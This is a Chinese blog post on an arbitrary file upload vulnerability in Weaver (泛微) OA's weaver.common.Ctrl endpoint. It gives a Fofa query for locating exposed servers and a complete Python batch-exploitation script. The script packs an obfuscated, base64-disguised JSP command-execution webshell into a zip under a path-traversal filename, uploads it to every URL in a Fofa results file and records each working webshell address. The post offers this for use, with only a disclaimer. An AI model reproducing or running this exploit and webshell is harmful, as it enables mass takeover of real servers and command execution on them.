泛微OA weaver.common.Ctrl 任意文件上传漏洞


声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。d

漏洞描述

泛微OA weaver.common.Ctrl 存在任意文件上传漏洞,攻击者通过漏洞可以上传webshell文件控制服务器

Fofa

app="泛微-协同办公OA"

复现

漏洞路径为:

/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp

查看发送的数据包:

使用POC成功上传文件:

贴上大佬的批量上传POC脚本(我改过的):

import zipfile
import random
import sys
import requests



def generate_random_str(randomlength=16):
  random_str = ''
  base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
  length = len(base_str) - 1
  for i in range(randomlength):
    random_str += base_str[random.randint(0, length)]
  return random_str

mm = generate_random_str(8)

webshell_name1 = mm+'.jsp'
webshell_name2 = '../../../'+webshell_name1

def file_zip():
    shell = """<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%
    if(request.getParameter("cmd")!=null){
        BASE64Decoder decoder = new BASE64Decoder();
        Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
        Process e = (Process)
                rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new
                        String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new
                        Object[]{}), request.getParameter("cmd") );
        java.io.InputStream in = e.getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>
    """   ## 替换shell内容
    zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)
    zf.writestr(webshell_name2, shell)


def GetShell(urllist):
    file_zip()
    print('上传文件中')
    urls = urllist + '/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp'
    file = [('file1', (mm+'.zip', open(mm + '.zip', 'rb'), 'application/zip'))]
    requests.post(url=urls,files=file,timeout=60, verify=False)
    GetShellurl = urllist+'/cloudstore/'+webshell_name1
    GetShelllist = requests.get(url = GetShellurl)
    if GetShelllist.status_code == 200:
        print('利用成功webshell地址为:'+GetShellurl)
        with open("success_webshell.txt", "a+") as f2:
            f2.write(GetShellurl + "\n")
    else:
        print('未找到webshell利用失败')

def main():
    # # if (len(sys.argv) == 2):
    # #     url = sys.argv[1]
    #     GetShell(url)
    # else:
    #     print("python3 poc.py http://xx.xx.xx.xx")
    with open("fofa提取结果文件.txt", "r+") as f:
        lines = f.readlines()
        for line in lines:
            try:
                GetShell(line.strip())
            except Exception as e:
                pass


if __name__ == '__main__':
    main()

参考大佬文章链接:https://mp.weixin.qq.com/s/ePYRFPfu-pvWMKSiffporA


文章作者: 剑胆琴心
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 剑胆琴心 !
评论
 上一篇
当你想放弃时 当你想放弃时
How far you have gone is the thing youshould think every time you think ofquitting.lt is not how hard the battleis, but
2021-05-27 剑胆琴心
下一篇 
C语言简单刷题2(未完) C语言简单刷题2(未完)
61. 求两个数的最大公约数和最小公倍数//1.求两个数的最大公约数和最小公倍数 int min_max(int x, int y) { //辗转相除法 int tmp; /* 余数不为0,继续相除,直
2021-05-20
  目录